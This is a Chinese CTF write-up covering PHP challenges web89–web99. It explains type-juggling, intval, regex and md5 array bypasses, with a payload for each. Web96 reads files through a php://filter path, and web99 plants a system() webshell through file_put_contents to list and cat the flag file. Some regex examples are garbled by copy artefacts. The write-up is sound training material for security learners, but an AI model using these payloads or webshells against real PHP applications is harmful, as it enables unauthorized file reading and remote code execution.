web89
if(isset($_GET['num'])){<br /> $num = $_GET['num'];<br /> if(preg_match("/[0-9]/", $num)){ //正则匹配参数不能为0-9<br /> die("no no no!");<br /> }<br /> if(intval($num)){ //返回num参数的值是,整数型<br /> echo $flag;<br /> }<br />}
preg_match只能处理字符串,当传入的subject是数组时会返回false
可以看到这里二者条件相互矛盾,因此可以利用preg_match无法利用数组的漏洞解题?num[]=1
web90
include("flag.php");<br />highlight_file(__FILE__);<br />if(isset($_GET['num'])){<br /> $num = $_GET['num'];<br /> if($num==="4476"){<br /> die("no no no!");<br /> }<br /> if(intval($num,0)===4476){<br /> echo $flag;<br /> }else{<br /> echo intval($num,0);<br /> }<br />}
第一个弱比较,num===4476,
第二个弱比较,num参数的返回值是整数
因为是弱比较,num=4476,这里是int型可以绕过
intval() 函数用于获取变量的整数值。intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
- 将使用 10 进制 (decimal)。
也就是base=0,则$var中存在字母的话与大盘字母停止1、小数点 4476.0
2、正负号 +4476
3、科学计数法 4476e
4、16进制:0X?? 0x117c
5、8进制:0?? 010574,
(8进制加空格:‘ 010574’
)
web91
show_source(__FILE__);<br />include('flag.php');<br />$a=$_GET['cmd'];<br />if(preg_match('/^php$/im', $a)){<br /> if(preg_match('/^php$/i', $a)){<br /> echo 'hacker';<br /> }<br /> else{<br /> echo $flag;<br /> }<br />}<br />else{<br /> echo 'nonononono';<br />}
对于正则表达式,我们来看一下
这里还有一些大佬们总结的常用的修饰符的作用
**i **
不区分(ignore)大小写
m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = “abc\nabc”;
p r e g = " / a b c preg = "/^abc preg="/abc/m";
preg_match($preg, s t r , str, str,matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。
s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = “abggab\nacbs”;
p r e g = " / b . / s " ; p r e g m a t c h a l l ( preg = "/b./s"; preg_match_all( preg="/b./s";pregmatchall(preg, s t r , str, str,matchs);
这样匹配到的有三个 bg b\n bs
g
全局匹配,查找所有匹配项
A
强制从目标字符串开头匹配;
D
如果使用$限制结尾字符,则不允许结尾有换行;
e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
if(preg_match('/^php$/im', $a)){ //多行匹配php,也就是换行后匹配到php,换行前没有php
if(preg_match('/^php$/i', $a)){ //单行匹配到php
也就是参数中需要在换行前不能有php字样
构造payload:?cmd=123%0aphp
//%0a是换行符
web92
include("flag.php");<br />highlight_file(__FILE__);<br />if(isset($_GET['num'])){<br /> $num = $_GET['num'];<br /> if($num==4476){<br /> die("no no no!");<br /> }<br /> if(intval($num,0)==4476){<br /> echo $flag;<br /> }else{<br /> echo intval($num,0);<br /> }<br />}
if($num==4476){ //因为``是弱比较,4476a相当于4476无法绕过
可以使用小数点,8进制,16进制
https://blog.csdn.net/EC_Carrot/article/details/109525162
这里引用大佬的另一种思路e,这个字母比较特殊,在PHP中会被当作科学计数法。这是PHP在处理字符串时的一个缺陷
4476e123,这是科学计数法相当于:4476×10^123
intval()函数处理时遇到字符停止,就只读取4476而不是4476e123,进行绕过
web93
`include("flag.php");highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}`
这一题较上一题就是多了个`preg_match("/[a-z]/i", $num)`
匹配参数中是否含有a-z的字符串,可以使用小数点或者八进制进行绕过
`?num=4476.1/010574`
web94
`include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}`
这一题比上一题多了一个`(!strpos($num, "0"))`
这个函数之前遇到了
strpos()函数返回匹配的字符位置,默认从0开始
如果函数检测参数第一位为0则false就停止本函数,但是这里`!使绕过相反需要参数第一位不可以是0`
可以使用空格`%20`/换行符`%0a`+进制转换
`1、%20010574`
`2、%0a010574`
`3、直接加空格 ‘ 010574’`
我看别人还有一种解法:`4476.0`
![image.png](https://img-blog.csdnimg.cn/img_convert/cfa33883ac45027500ab5fd23452b4b2.png#height=47&id=qpUWb&margin=[object Object]&name=image.png&originHeight=93&originWidth=642&originalType=binary&ratio=1&size=7790&status=done&style=none&width=321)
web95
![image.png](https://img-blog.csdnimg.cn/img_convert/f03fee2fbb0aec40728495302af8e26b.png#height=217&id=CKLqW&margin=[object Object]&name=image.png&originHeight=434&originWidth=792&originalType=binary&ratio=1&size=40803&status=done&style=none&width=396)
本题与94差不多,不过是这一题过滤了小数点
web96
highlight_file(__FILE__);<br />if(isset($_GET['u'])){<br /> if($_GET['u']=='flag.php'){/参数不能直接设置是flag.php<br /> die("no no no");<br /> }else{<br /> highlight_file($_GET['u']);//构造路径显示
` }
payload:<br />
1、?u=./flag<br />
2、?u=/var/www/html/flag.php //绝对路径<br />还有一种利用filter:伪协议:
?u=php://filter/resource=flag.php`
web97
`include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b']) //post类型,参数a!=b
if (md5($_POST['a']) === md5($_POST['b'])) //md5处理后的值相等
echo $flag;
else
print 'Wrong.';
}
?>`
可以看到需要使,a和b的参数内容不相同,并且md5处于后的值的相等的
因为`if (md5($_POST['a']) === md5($_POST['b'])) 是强比较`
在弱比较中`0e开头的会被识别成科学计数法,结果均为0,比较时``0=0``为true绕过`
而在强比较中方法就失效了,但是如果传入的不是字符串而是数组,不但md5()函数不会报错,结果还会返回null,在强比较里面`null=null`为true绕过
因此在强比较中0e开头的md5加密数组就失效了
**MD5()函数无法处理数组,如果传入的为数组,会返回NULL**,所以两个数组经过加密后得到的都是NULL,也就是相等的。
payload:`a[]=1&b[]=2`
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';//如果有GET方法传参则将GET方法转变为POST方法
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);//如果GET方法'HTTP_FLAG'传参的值是flag则读取flag的内容否则读取$flag:__FILE__
?>
这里考察到了三目运算符的作用
最后一行告诉了我们答案,至于中间的部分可有可无
payload:同时传入参数
`get:?HTTP_FLAG=flag`
`post: HTTP_FLAG=flag`
web99
highlight_file(__FILE__);$allow = array();
for ($i=36; $i < 0x36d; $i++) { //for循环
array_push($allow, rand(1,$i)); //每循环一次,在&allow中增加一个随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ //查找传入的参数n是否在$allow中存在
file_put_contents($_GET['n'], $_POST['content']);//file_put_contents() 函数把一个字符串写入文件中。文件不存在就创建
?>
in_array()函数
in_array() 函数搜索数组中是否存在指定的值。
说明
如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。
如果没有在数组中找到参数,函数返回 false。
即in_array数组存在函数有缺陷,若没有设置第三个参数,则存在强制转换(类比==
)
也就是在in_array()中n=1.php就会转化成n=1,此外通过file_put_contents()创建一个文件写入php代码
payload:get:?n=1.php
post:content=<?php system("ls");?>
最后1=system('cat flag36d.php')